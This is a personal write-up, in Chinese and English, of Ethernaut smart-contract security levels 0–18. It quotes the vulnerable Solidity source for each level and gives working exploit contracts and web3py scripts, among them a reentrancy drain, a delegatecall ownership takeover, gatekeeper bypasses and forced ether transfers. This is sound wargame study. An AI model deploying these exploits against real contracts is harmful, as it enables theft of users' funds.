Ethernaut 通关笔记

Ethernaut复活了,赶紧开始做题

Level 0. Hello Ethernaut

使用的是浏览器里的js对象的方式来进行的,之前还没有尝试过

Level 1. Fallback

需要知道怎么在console里调用函数的时候附加上交易的value值,以及如何调用fallback函数。不用web3py的操作一开始还真不太会。

Level 2. Fallout

一款对程序猿友好的字体是多么重要。

一开始在网页里看我是根本没看出来还有这回事,还加了个迷惑性极强的注释,导致我看了一圈发现没有改owner的操作啊。

复制到编辑器里就稍微明显一点了,不然我是真看不出区别。

Level 3. Coin Flip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pragma solidity ^0.6.0;


contract CoinFlip {

uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - (1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / (FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

contract Hacker {

address target = 0xDD0b2E36064953cD7b75c0a35aF25D82fF948575;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

CoinFlip cf = CoinFlip(target);

function exploit() public {
uint256 blockValue = uint256(blockhash(block.number - (1)));
uint256 coinFlip = blockValue / (FACTOR);
bool side = coinFlip == 1 ? true : false;
cf.flip(side);
}
}

还需要顺便复习一下web3py的用法

最新的文档已经用get_storage_at这个函数了

Level 4. Telephone

tx.origin是交易的发送方,不是方法调用的调用方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

contract Hacker {
constructor () public {
address payable account = 0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F;
address target = 0xDe3CaD19ADcbCC04674FE56B0627C230e7b81f4A;
Telephone t = Telephone(target);
t.changeOwner(account);
selfdestruct(account);
}
}
1
2
In [8]: w3.eth.getStorageAt(w3.toChecksumAddress('0xDe3CaD19ADcbCC04674FE56B0627C230e7b81f4A'),0)
Out[8]: HexBytes('0x0000000000000000000000009b3754c0a0798ade51e98c7a81ae73aacf9c2e5f')

Level 5. Token

一开始也是没有注意到有整数溢出,require(balances[msg.sender] - _value >= 0);require(balances[msg.sender] >= _vale);这两个是不一样的。

第一个是先做了减法运算的,然后和0进行比较,而第二个是两个数直接进行比较。

注意转账的接收方不能是自己,不然溢出之后又溢出回来了。

Level 6. Delegation

There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values.

This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.

This makes it possible to implement the “library” feature in Solidity: Reusable library code that can be applied to a contract’s storage, e.g. in order to implement a complex data structure.

<address>.delegatecall(bytes memory) returns (bool, bytes memory)

issue low-level DELEGATECALL with the given payload, returns success condition and return data, forwards all available gas, adjustable

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

The instance must be the Delegation contract.

The fallback function of Delegation contract trys to call the delegate address.

And the Delegate contract has a pwn function that can change its ower to msg.sender . Since the delegatecall will not change msg.sener, we can change the owner to our attacker address.

Notice that delegatecall only copys code from the target address to the current contract and executes, so the effect of doing the pwn() function is changing contract Delegation ‘s owner variable, which are all at storage[0].

Exploit

just call the fallback function of the Delegation contract, and msg.data set to keccack('pwn()') = 0xdd365b8b

1
2
await contract.sendTransaction({data : "0xdd365b8b"})
await contract.owner()

Level 7. Force

Some contracts will simply not take your money ¯_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

Source

1
2
3
4
5
6
7
8
9
10
11
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

Decompiled

1
2
3
4
5
6
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
revert(memory[0x00:0x00]);
}
}

so the default fallback generated is simply revert.

Well i have no idea, so I searched for other people’s wp.

强行将以太币置入合约的相关方式:1. 通过自毁、2. 创建前预先发送Ether、3. 为其挖矿。

Exploit

I first forget to mark the contructor payable, and remix gives me kindly warnings:

1
creation of Hacker errored: VM error: revert. revert The transaction has been reverted to the initial state. Note: The called function should be payable if you send value and the value you send should be less than your current balance. Debug the transaction to get more information.
1
2
3
4
5
6
7
8
9
// SPDX-License-Identifier: GPL-3.0

pragma solidity >0.8.0;

contract Hacker {
constructor() payable {
selfdestruct(payable(0x2CcA84F27Bc45eFEEDce279C7c6dF6D0D02186b4));
}
}

Level 8. Vault

Unlock the vault to pass the level!

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

Exploit

no secret on blockchain.

1
2
3
4
5
6
7
8
9
10
11
In [1]: from web3.auto.infura.rinkeby import w3

In [2]: public = '0x817d3fcDf81E62AaaA1caf5e8CBD9b1417346d65'

In [3]: addr = w3.toChecksumAddress(public)

In [4]: w3.eth.get_storage_at(addr,0)
Out[4]: HexBytes('0x0000000000000000000000000000000000000000000000000000000000000001')

In [5]: w3.eth.get_storage_at(addr,1)
Out[5]: HexBytes('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
1
2

await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
1
2
In [6]: w3.eth.get_storage_at(addr,0)
Out[6]: HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000')

Level 9. King

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

fallback() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

没看懂题目是啥意思,我的目标是什么,看了wp

注意到owner变量是不会改变的,所以说owner总是可以重新取回king的身份,目标是成为king并且保持king的身份。

The transfer function fails if the balance of the current contract is not large enough or if the Ether transfer is rejected by the receiving account. The transfer function reverts on failure.

transfer在失败的时候会回滚,所以只要我们不接受transfer就可以阻值代码的继续执行。

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: GPL-3.0

pragma solidity >0.8.0;

contract Hacker {
constructor() payable {
require(address(this).balance == 1 ether, "please give 1 ether");
address target = 0xAc3c199067eB0Cb9a27A8230A1447865F35b4Ff6;
(bool _res,) = target.call{value: 1 ether}(abi.encode(""));
}
}

Level 10. Re-entrancy

The goal of this level is for you to steal all the funds from the contract.

Things that might help:

Untrusted contracts can execute code where you least expect it.
Fallback methods
Throw/revert bubbling
Sometimes the best way to attack a contract is with another contract.
See the Help page above, section “Beyond the console”

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result, bytes memory data) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

fallback() external payable {}
}

target: 0x22778878428C001234BC0d9A708D9664045d80BC

分析

Originally, there was 1 ether in the contract, so our goal is to transfer this 1 ether back to our account.

address.transfer is safe as it has a gas stipend of 2300. but address.call.value().gas()() forwards all available gas (adjustable), and is not safe against reentrancy. Here is another reading.

奥,我明白了,我总是试图在constructor函数中就完成整个exp链的构造,但是在这个时候我的各个编写的函数是还不存在的,我的fallack函数也不存在。所以这一题要利用fallback函数的话是不能够在一个constructor函数中就完成的,必须要在整个合约部署完成之后,再发起第二笔交易来进行攻击。所以说这题至少也需要两笔交易完成攻击。

关于receive关键字

值得注意的是即便被攻击合约中写的是msg.sender.call.value(_amount)("");,但是还是call了receive函数,也就是没有calldata。实验发现在fallback函数和receive函数同时存在的情况下会调用receive函数。

反编译结果来看也是没有calldata。

1
2
var temp0 = memory[0x40:0x60];
temp1, memory[temp0:temp0 + 0x00] = address(msg.sender).call.gas(msg.gas).value(arg0)(memory[temp0:temp0 + memory[0x40:0x60] - temp0]);

由于这里.call函数只接受一个bytes参数,而""又是长度为0,所以就没有calldata了。如果把长度变成8,就是这样:

1
2
3
4
5
6
(bool result, bytes memory data) = msg.sender.call.value(_amount)("deadbeef");

-----

var temp1 = memory[0x40:0x60];
temp2, memory[temp1:temp1 + 0x00] = address(msg.sender).call.gas(msg.gas).value(arg0)(memory[temp1:temp1 + (temp0 + 0x08) - temp1]);

这是正常的行为,不是编译器的bug,这个bug在0.4.12就已经修复。

推荐使用call而不再推荐使用transfer和send。自己防范重入。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.0;

interface Reentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}

contract Hacker {
address owner;
Reentrance target = Reentrance(0x22778878428C001234BC0d9A708D9664045d80BC);
uint cnt = 0;

constructor() payable {
require(msg.value == 1 ether, "constructor(): Insufficient Fund.");
owner = msg.sender;
}

modifier auth {
require(msg.sender == owner, "auth(): Not Authenticated.");
_;
}

receive() external payable {
if (cnt == 0) {
cnt ++ ;
target.withdraw(10 ** 18); // 1 ether
}
}

function attack() public auth {
target.donate{value: 1 ether}(address(this));
target.withdraw(10 ** 18); // 1 ether
selfdestruct(payable(msg.sender));
}
}

Use the Checks-Effects-Interactions Pattern

Level 11. Elevator

This elevator won’t let you reach the top of your building. Right?

Things that might help:

Sometimes solidity is not good at keeping promises.
This Elevator expects to be used from a Building.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

pragma solidity ^0.6.0;


interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

实现一个简单的接口

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.8.0;


interface Building {
function isLastFloor(uint) external returns (bool);
}

interface Elevator {
function goTo(uint _floor) external;
}

contract Hacker is Building {
address owner;
Elevator target = Elevator(0xaf6637c511207fe29A9eB0A11c869728380D505B);
uint cnt = 0;

constructor() payable {
owner = msg.sender;
}

modifier auth {
require(msg.sender == owner, "auth(): Not Authenticated.");
_;
}

function isLastFloor(uint floor) external override returns (bool) {
require(floor >= 0, "isLastFloor(): Cannot Failed.");
if (cnt == 0) {
cnt ++ ;
return false;
} else {
return true;
}
}

function attack() public auth {
target.goTo(2 ** 256 - 1);
selfdestruct(payable(msg.sender));
}
}

Level 12. Privacy

The creator of this contract was careful enough to protect the sensitive areas of its storage.

Unlock this contract to beat the level.

Things that might help:

Understanding how storage works
Understanding how parameter parsing works
Understanding how casting works

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.6.0;

contract Privacy {

bool public locked = true; // 0
uint256 public ID = block.timestamp; // 1
uint8 private flattening = 10; // 2_0_1
uint8 private denomination = 255; // 2_1_2
uint16 private awkwardness = uint16(now); // 2_2_4
bytes32[3] private data; // 3 4 5

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

Exp

链上没有隐私

1
await contract.unlock('0xc9e62529e16fdfb38db596273b2db912')

这一关的推荐阅读

Level 13. Gatekeeper One

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

require(gasleft().mod(8191) == 0);这里我是有点懵的。如何测量走到这一步消耗了多少gas呢?

https://hitcxy.com/2019/ethernaut/

callcode操作符是在自己的上下文中执行代码,但是msg.sender会发生改变。ref

geth自定义的opcodes

Istanbul Fork新增的两个opcode

柏林升级前移除 EIP-2315

观察gateThree要求的条件,要求倒数第2 3个字节是0,要求高4个字节不为0,要求倒数1 2个字节是tx.origin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Hacker {

address target = 0x8c0d72c453b11E7507C4AcAA339004De5b1Ee3Be;

constructor() {
uint64 bts = 0xffffffff00000000;
bts += uint16(uint160(tx.origin));
bool res;
(res, ) = target.call{gas:254+81910}(abi.encodeWithSignature("enter(bytes8)", bytes8(bts)));
require(res == true, "enter(): Attack Fail.");
selfdestruct(payable(0));
}
}

254是用remix调试出来的。

Level 14. Gatekeeper Two

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pragma solidity ^0.6.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(
uint64(
bytes8(
keccak256(abi.encodePacked(msg.sender))
)
) ^ uint64(_gateKey)
==
uint64(0) - 1
);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

分析,需要在constructor中完成利用。

值得留意的事情:代码里uint64(0) - 1在0.8.0版本的编译器里会直接revert,好高级。自动溢出保护。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

contract Hacker {

address target = 0xe7bdbFDaf1cddF5F16c81cB02FD49E57952E92FC;
// bytes public B;

constructor() {
// address x = address(new GatekeeperTwo());
uint64 bts = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0xffffffffffffffff);
// bts ^= uint64(0xffffffffffffffff);
// bts ^= uint64(0) - 1;
bool res;
// target = x;
bytes memory ret;
(res, ret) = target.call(abi.encodeWithSignature("enter(bytes8)", bytes8(bts)));
// B = ret;
require(res == true, "enter(): Attack Fail.");
selfdestruct(payable(0));
}

function test () public pure returns(uint64) {
return 2 ** 64 - 1;
// return uint64(0) - 1; // this will revert !!!
}
}

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin, "gate 1");
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0, "gate 2");
_;
}

modifier gateThree(bytes8 _gateKey) {
require(
uint64(
bytes8(
keccak256(abi.encodePacked(msg.sender))
)
) ^ uint64(_gateKey)
==
2 ** 64 - 1
// uint64(0) - 1, "gate 3"
);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}

function test(bytes8 _gateKey) public view returns (bytes8) {
return bytes8(uint64(
bytes8(
keccak256(abi.encodePacked(msg.sender))
)
) ^ uint64(_gateKey) );
}
}

Level 15. Naught Coin

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
In [3]: target = '0x153cD5C206630Dbd726891f2aE5e6CF031460cfE'

In [4]: w3.eth.get_storage_at(target,0)
Out[4]: HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000')

In [5]: w3.eth.get_storage_at(target,1)
Out[5]: HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000')

In [6]: w3.eth.get_storage_at(target,2)
Out[6]: HexBytes('0x00000000000000000000000000000000000000000000d3c21bcecceda1000000')

In [7]: w3.eth.get_storage_at(target,3)
Out[7]: HexBytes('0x4e6175676874436f696e00000000000000000000000000000000000000000014')

In [8]: w3.eth.get_storage_at(target,4)
Out[8]: HexBytes('0x3078300000000000000000000000000000000000000000000000000000000006')

In [9]: w3.eth.get_storage_at(target,5)
Out[9]: HexBytes('0x0000000000000000000000000000000000000000000000000000000000000012')

In [10]: w3.eth.get_storage_at(target,6)
Out[10]: HexBytes('0x00000000000000000000000000000000000000000000000000000000735d4e82')

In [11]: w3.eth.get_storage_at(target,7)
Out[11]: HexBytes('0x00000000000000000000000000000000000000000000d3c21bcecceda1000000')

In [12]: w3.eth.get_storage_at(target,8)
Out[12]: HexBytes('0x0000000000000000000000009b3754c0a0798ade51e98c7a81ae73aacf9c2e5f')

In [13]: bytes.fromhex('4e6175676874436f696e')
Out[13]: b'NaughtCoin'

In [14]: 0x14/2
Out[14]: 10.0

In [15]: bytes.fromhex('307830')
Out[15]: b'0x0'

In [16]: w3.eth.get_storage_at(target,9)
Out[16]: HexBytes('0x0000000000000000000000000000000000000000000000000000000000000000')

In [18]: 1000000 * (10**18)
Out[18]: 1000000000000000000000000

In [19]: hex(_)
Out[19]: '0xd3c21bcecceda1000000'

合约一开头是继承的父合约ERC20的结构体变量,发现lockTokens这个修饰器对时间有要求。

但是ERC20可以转账的函数显然不止transfer一个函数。可以使用approve+transferFrom进行转账。

有地方需要注意的是,ERC20不允许向0地址转账…..

1
2
3
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/python

from web3.auto.infura.rinkeby import w3
from eth_abi import encode_abi

assert w3.isConnected()

private = ' -^=^- '
public = '0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F'

target = '0x153cD5C206630Dbd726891f2aE5e6CF031460cfE'

hacker_private = ' -^=^- '
hacker = '0x3465CBfee24B4b369304D3B0471851665034a303'

empty = '0x0000000000000000000000000000000000000001'

calldata = bytes(w3.keccak(b'approve(address,uint256)')[:4])
calldata += encode_abi(['address', 'uint256'], [hacker, 1000000 * (10 ** 18)])

txn = {
"from": public,
"to": target,
"gasPrice": w3.toWei(1, 'gwei'),
"gas": 0x32185,
"value": w3.toWei(0, 'wei'),
"nonce": w3.eth.getTransactionCount(public),
"data": calldata
}

signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
print(txn_hash)
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print(txn_receipt)

calldata = bytes(w3.keccak(b'transferFrom(address,address,uint256)')[:4])
calldata += encode_abi(['address', 'address', 'uint256'], [public, empty, 1000000 * (10 ** 18)])

txn = {
"from": hacker,
"to": target,
"gasPrice": w3.toWei(1, 'gwei'),
"gas": 0x32185,
"value": w3.toWei(0, 'wei'),
"nonce": w3.eth.getTransactionCount(hacker),
"data": calldata
}

signed_txn = w3.eth.account.signTransaction(txn, hacker_private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
assert txn_receipt['status'] == 1
print('[+] OK ' + str(txn_receipt['transactionIndex']) + ' @ ' + txn_receipt['transactionHash'].hex())

Level 16. Preservation

This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

The goal of this level is for you to claim ownership of the instance you are given.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library; // 0
address public timeZone2Library; // 1
address public owner; // 2
uint storedTime; // 3
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

Analysis

delegatecall调用外部函数storage位置没有对上,造成任意指定storage篡改

target contract : 0x4464A38441e76713439883883752A60B02C24298

1
2
3
4
5
6
7
In [31]: target = '0x4464A38441e76713439883883752A60B02C24298'

In [32]: w3.eth.get_storage_at(target,0)
Out[32]: HexBytes('0x0000000000000000000000007dc17e761933d24f4917ef373f6433d4a62fe3c5')

In [33]: w3.eth.get_storage_at(target,1)
Out[33]: HexBytes('0x000000000000000000000000ea0de41efafa05e2a54d1cd3ec8ce154b1bb78f1')

从反编译的结果来看library code就如源码中所示的那么简单,修改stoarge 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
var var0 = msg.value;

if (var0) { revert(memory[0x00:0x00]); }

if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }

var0 = msg.data[0x00:0x20] >> 0xe0;

if (var0 != 0x3beb26c4) { revert(memory[0x00:0x00]); }

var var1 = 0x56;
var var2 = 0x04;
var var3 = msg.data.length - var2;

if (var3 < 0x20) { revert(memory[0x00:0x00]); }

func_0041(var2, var3);
stop();
}

function func_0041(var arg0, var arg1) {
arg0 = msg.data[arg0:arg0 + 0x20];
storage[0x00] = arg0;
}
}

思路是先调用修改timeZone1Library的地址,然后delegatecall执行任意代码。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface Preservation {
function setFirstTime(uint _timeStamp) external;
}

contract ClaimOwnership {
address public timeZone1Library; // 0
address public timeZone2Library; // 1
address public owner; // 2
fallback() external {
owner = 0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F;
}
}

contract Hacker {
address target = 0x4464A38441e76713439883883752A60B02C24298;
address new_library;

constructor() {
new_library = address (new ClaimOwnership());
Preservation t = Preservation(target);
t.setFirstTime(uint256(uint160(new_library)));
t.setFirstTime(0);
selfdestruct(payable(0));
}
}

Insights

As the previous level, delegate mentions, the use of delegatecall to call libraries can be risky. This is particularly true for contract “libraries“ that have their own state. This example demonstrates why the library keyword should be used for building libraries, as it prevents the libraries from storing and accessing state variables.

library变量存取state是非常危险的,所以library关键字避免了这个行为。

Level 17. Recovery

A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.5 ether to obtain more tokens. They have since lost the contract address.

This level will be completed if you can recover (or remove) the 0.5 ether from the lost contract address.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
fallback() external payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

Analysis

没看懂题目是啥意思?也不说清楚啥地址lost了。考的是暴露的selfdestruct?

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface SimpleToken {
function destroy(address payable _to) external;
}

contract Hacker {
address target = 0xdED8992B6FEF8BEB0326Ef93dc34E5e7Ba2dF78C;
address payable hacker = payable (0x9B3754c0a0798aDe51e98c7a81aE73aAcf9C2e5F);

constructor() {
SimpleToken(target).destroy(hacker);
selfdestruct(payable(0));
}
}

Level 18. MagicNumber

To solve this level, you only need to provide the Ethernaut with a “Solver”, a contract that responds to “whatIsTheMeaningOfLife()” with the right number.

The solver’s code needs to be really tiny. Really reaaaaaallly tiny. Like freakin’ really really itty-bitty tiny: 10 opcodes at most.

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.6.0;

contract MagicNum {

address public solver;

constructor() public {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

Analysis

意思是只要返回42就行?

bytes类型永远会在首部存储长度字段的

EXP

emmm用mstore8是过不了的,必须用mstore

1
2
3
